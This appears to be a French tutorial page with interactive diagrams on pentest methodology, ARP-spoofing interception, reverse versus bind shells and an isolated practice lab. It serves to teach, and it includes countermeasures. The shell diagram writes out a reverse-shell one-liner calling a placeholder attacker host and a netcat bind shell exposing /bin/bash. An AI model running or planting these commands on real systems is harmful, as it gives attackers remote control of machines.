Schémas interactifs

Quatre schémas SVG animés pour visualiser la méthodologie d'attaque, l'ARP spoofing, les shells et la topologie du lab. Survolez, cliquez et déclenchez les animations.

Schéma 1Méthodologie d'attaque complète

Le chemin standard d'un audit : de la reconnaissance au rapport. Cliquez sur une phase pour voir l'objectif et l'outil associé, puis lancez l'animation du parcours.

Phase 1 Footprinting collecte passive theHarvester Phase 2 Scanning ports et services nmap Phase 3 Énumération partages, users enum4linux Phase 4 Exploitation accès initial Metasploit Phase 5 Post-exploit. persistance, hash Mimikatz Phase 6 Rapport constats, correctifs remédiation Chemin d'audit — chaque phase alimente la suivante Astuce : cliquez une phase pour le détail, ou animez tout le parcours.
Progression : 1 Footprinting 2 Scanning 3 Énumération 4 Exploitation 5 Post-exploit. 6 Rapport
Méthodologie : cliquez sur une phase du schéma pour afficher son objectif, sa commande type et sa livrable. L'animation rejoue le parcours complet dans l'ordre.

Schéma 2Attaque MITM par ARP spoofing animée

L'attaquant empoisonne les tables ARP pour s'intercaler entre la victime et la passerelle. Déclenchez les trois états étape par étape.

Victime 192.168.1.20 navigateur, cookies table ARP : .1 = GW ? Attaquant (Kali) 192.168.1.50 arpspoof / ettercap IP forwarding ON Passerelle 192.168.1.1 routeur, Internet table ARP : .20 = victime ? État initial : trafic direct victime ↔ passerelle « Je suis .1 » « Je suis .20 » État empoisonné : tout le trafic transite par l'attaquant Capture : Wireshark / tcpdump Cookie: sessionid=abc123 … user=admin POST login=admin & pass=••••••
État initial : la victime dialogue directement avec la passerelle. Les tables ARP sont saines. Cliquez sur un acteur ou avancez étape par étape.
trafic légitime direct réponses ARP mensongères trafic intercepté via l'attaquant
Contre-mesures : inspection ARP dynamique (DAI) sur les commutateurs, entrées ARP statiques pour la passerelle sur les postes sensibles, détection d'usurpation (arpwatch, alertes SIEM) et chiffrement systématique (HTTPS, HSTS) pour rendre la capture inexploitable.

Schéma 3Reverse shell vs Bind shell

Qui initie la connexion ? La réponse détermine le passage du pare-feu. Cliquez sur un panneau pour comprendre quand utiliser chaque shell.

Reverse shell — la cible appelle Kali attaquant — en écoute nc -lvnp 4444 Pare-feu / NAT : sortant autorisé — passe Cible compromise — initie bash -i >& /dev/tcp/KALI/4444 Bind shell — l'attaquant se connecte Kali attaquant — initie nc CIBLE 4444 Pare-feu / NAT : entrant bloqué — échoue X Cible — en écoute nc -lvnp 4444 -e /bin/bash
Comparatif : cliquez sur un panneau. En résumé : le reverse shell sort de la cible vers vous (traverse NAT et pare-feu sortant) ; le bind shell attend une connexion entrante (bloquée par NAT et pare-feu entrant).
connexion sortante — traverse le NAT connexion entrante — filtrée par le pare-feu

Schéma 4Topologie du lab isolé

Quatre machines virtuelles sur un réseau host-only, coupé d'Internet pour les cibles. Cliquez sur chaque VM pour voir son rôle, son adressage et les snapshots conseillés.

Réseau host-only 192.168.56.0/24 — isolé aucun pont vers Internet Kali — attaquant 192.168.56.10 nmap, Metasploit snapshot : propre + outils Metasploitable 2 192.168.56.20 SMB, FTP, Telnet snapshot : état vulnérable DVWA — web local 192.168.56.30 SQLi, XSS — niveau Low snapshot : base réinitialisée Windows — victime 192.168.56.40 SMB, RDP, privesc snapshot : avant tests
Lab isolé : cliquez sur une VM. Principe : l'attaquant et les cibles partagent un réseau host-only sans route vers Internet ; un snapshot propre par VM permet de revenir en arrière après chaque attaque.
Rappel légal : ce lab reste confiné à votre hyperviseur (VirtualBox / VMware, réseau hôte uniquement). N'exposez jamais Metasploitable ou DVWA sur un réseau de production ou vers Internet : ces systèmes sont volontairement vulnérables.